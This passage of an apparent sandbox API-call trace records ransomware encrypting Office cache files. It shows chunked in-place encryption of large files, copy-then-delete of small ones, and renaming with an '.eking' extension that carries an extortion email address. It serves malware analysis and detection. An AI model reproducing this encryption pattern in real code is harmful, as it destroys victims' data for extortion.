dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.484] SetEvent (hEvent=0x16c) returned 1 [0056.485] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0056.485] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=16972987) returned 1 [0056.485] CloseHandle (hObject=0x150) returned 1 [0056.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0056.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0056.664] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0056.664] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0056.665] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0056.665] ReadFile (in: hFile=0x150, lpBuffer=0x3050058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3050058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.290] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0058.290] ReadFile (in: hFile=0x150, lpBuffer=0x3090058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3090058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.298] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0058.298] ReadFile (in: hFile=0x150, lpBuffer=0x30d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x30d0058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.329] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc0 | out: lpNewFilePointer=0x0) returned 1 [0058.329] WriteFile (in: hFile=0x150, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0xc0102, lpOverlapped=0x0) returned 1 [0058.346] SetEndOfFile (hFile=0x150) returned 1 [0058.347] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.347] WriteFile (in: hFile=0x150, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0058.349] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.349] WriteFile (in: hFile=0x150, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0058.350] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.350] WriteFile (in: hFile=0x150, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0058.351] FlushFileBuffers (hFile=0x150) returned 1 [0062.283] CloseHandle (hObject=0x150) returned 1 [0064.833] SetEvent (hEvent=0x16c) returned 1 [0064.834] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0064.834] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=1450) returned 1 [0064.834] CloseHandle (hObject=0x150) returned 1 [0064.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0064.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0064.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0064.835] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0064.835] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0064.835] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0064.835] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1d0 [0064.836] ReadFile (in: hFile=0x150, lpBuffer=0x3050020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304fdd4, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesRead=0x304fdd4*=0x5aa, lpOverlapped=0x0) returned 1 [0064.853] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x5b0, lpOverlapped=0x0) returned 1 [0064.855] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x102, lpOverlapped=0x0) returned 1 [0064.855] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0064.855] SetFilePointerEx (in: hFile=0x150, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0064.855] WriteFile (in: hFile=0x150, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x304fb34, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fb34*=0x5aa, lpOverlapped=0x0) returned 1 [0064.855] FlushFileBuffers (hFile=0x150) returned 1 [0064.876] FlushFileBuffers (hFile=0x1d0) returned 1 [0064.878] CloseHandle (hObject=0x150) returned 1 [0064.879] CloseHandle (hObject=0x1d0) returned 1 [0064.881] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0064.883] SetEvent (hEvent=0x16c) returned 1 [0064.883] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0064.886] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=70361744) returned 1 [0064.886] CloseHandle (hObject=0x1d0) returned 1 [0064.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0064.886] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0064.887] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0064.887] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0064.887] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0064.887] ReadFile (in: hFile=0x1d0, lpBuffer=0x3050058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3050058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0064.894] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0064.894] ReadFile (in: hFile=0x1d0, lpBuffer=0x3090058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3090058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0064.916] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0064.916] ReadFile (in: hFile=0x1d0, lpBuffer=0x30d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x30d0058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0065.289] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc0 | out: lpNewFilePointer=0x0) returned 1 [0065.290] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0xc0102, lpOverlapped=0x0) returned 1 [0065.310] SetEndOfFile (hFile=0x1d0) returned 1 [0065.311] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0065.311] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0065.313] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0065.313] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0065.314] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0065.314] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0065.315] FlushFileBuffers (hFile=0x1d0) returned 1 [0069.586] CloseHandle (hObject=0x1d0) returned 1 [0071.351] SetEvent (hEvent=0x16c) returned 1 [0071.352] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.352] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=1450) returned 1 [0071.352] CloseHandle (hObject=0x1d0) returned 1 [0071.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0071.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0071.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0071.353] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.353] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0071.353] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0071.353] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1bc [0071.353] ReadFile (in: hFile=0x1d0, lpBuffer=0x3050020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304fdd4, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesRead=0x304fdd4*=0x5aa, lpOverlapped=0x0) returned 1 [0071.358] WriteFile (in: hFile=0x1bc, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x5b0, lpOverlapped=0x0) returned 1 [0071.359] WriteFile (in: hFile=0x1bc, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x102, lpOverlapped=0x0) returned 1 [0071.360] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0071.360] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0071.360] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x304fb34, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fb34*=0x5aa, lpOverlapped=0x0) returned 1 [0071.360] FlushFileBuffers (hFile=0x1d0) returned 1 [0073.251] FlushFileBuffers (hFile=0x1bc) returned 1 [0073.801] CloseHandle (hObject=0x1d0) returned 1 [0073.802] CloseHandle (hObject=0x1bc) returned 1 [0073.803] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0074.124] SetEvent (hEvent=0x16c) returned 1 [0074.124] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.125] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=1608) returned 1 [0074.125] CloseHandle (hObject=0x1bc) returned 1 [0074.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0074.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0074.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0074.125] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.125] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0074.125] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc8 | out: lpNewFilePointer=0x0) returned 1 [0074.125] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1d0 [0074.126] ReadFile (in: hFile=0x1bc, lpBuffer=0x3050020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304fdd4, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesRead=0x304fdd4*=0x648, lpOverlapped=0x0) returned 1 [0074.144] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0x650, lpOverlapped=0x0) returned 1 [0074.150] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0xf2, lpOverlapped=0x0) returned 1 [0074.153] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0074.153] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fb28 | out: lpNewFilePointer=0x0) returned 1 [0074.153] WriteFile (in: hFile=0x1bc, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x304fb34, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fb34*=0x648, lpOverlapped=0x0) returned 1 [0074.153] FlushFileBuffers (hFile=0x1bc) returned 1 [0074.210] FlushFileBuffers (hFile=0x1d0) returned 1 [0074.229] CloseHandle (hObject=0x1bc) returned 1 [0074.231] CloseHandle (hObject=0x1d0) returned 1 [0074.236] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0074.374] SetEvent (hEvent=0x16c) returned 1 [0074.374] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0074.413] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x304fe00 | out: lpFileSize=0x304fe00*=14819276) returned 1 [0074.414] CloseHandle (hObject=0x1d0) returned 1 [0074.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0074.414] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0074.418] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0074.420] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0074.420] SetFilePointerEx (in: hFile=0x1d0, 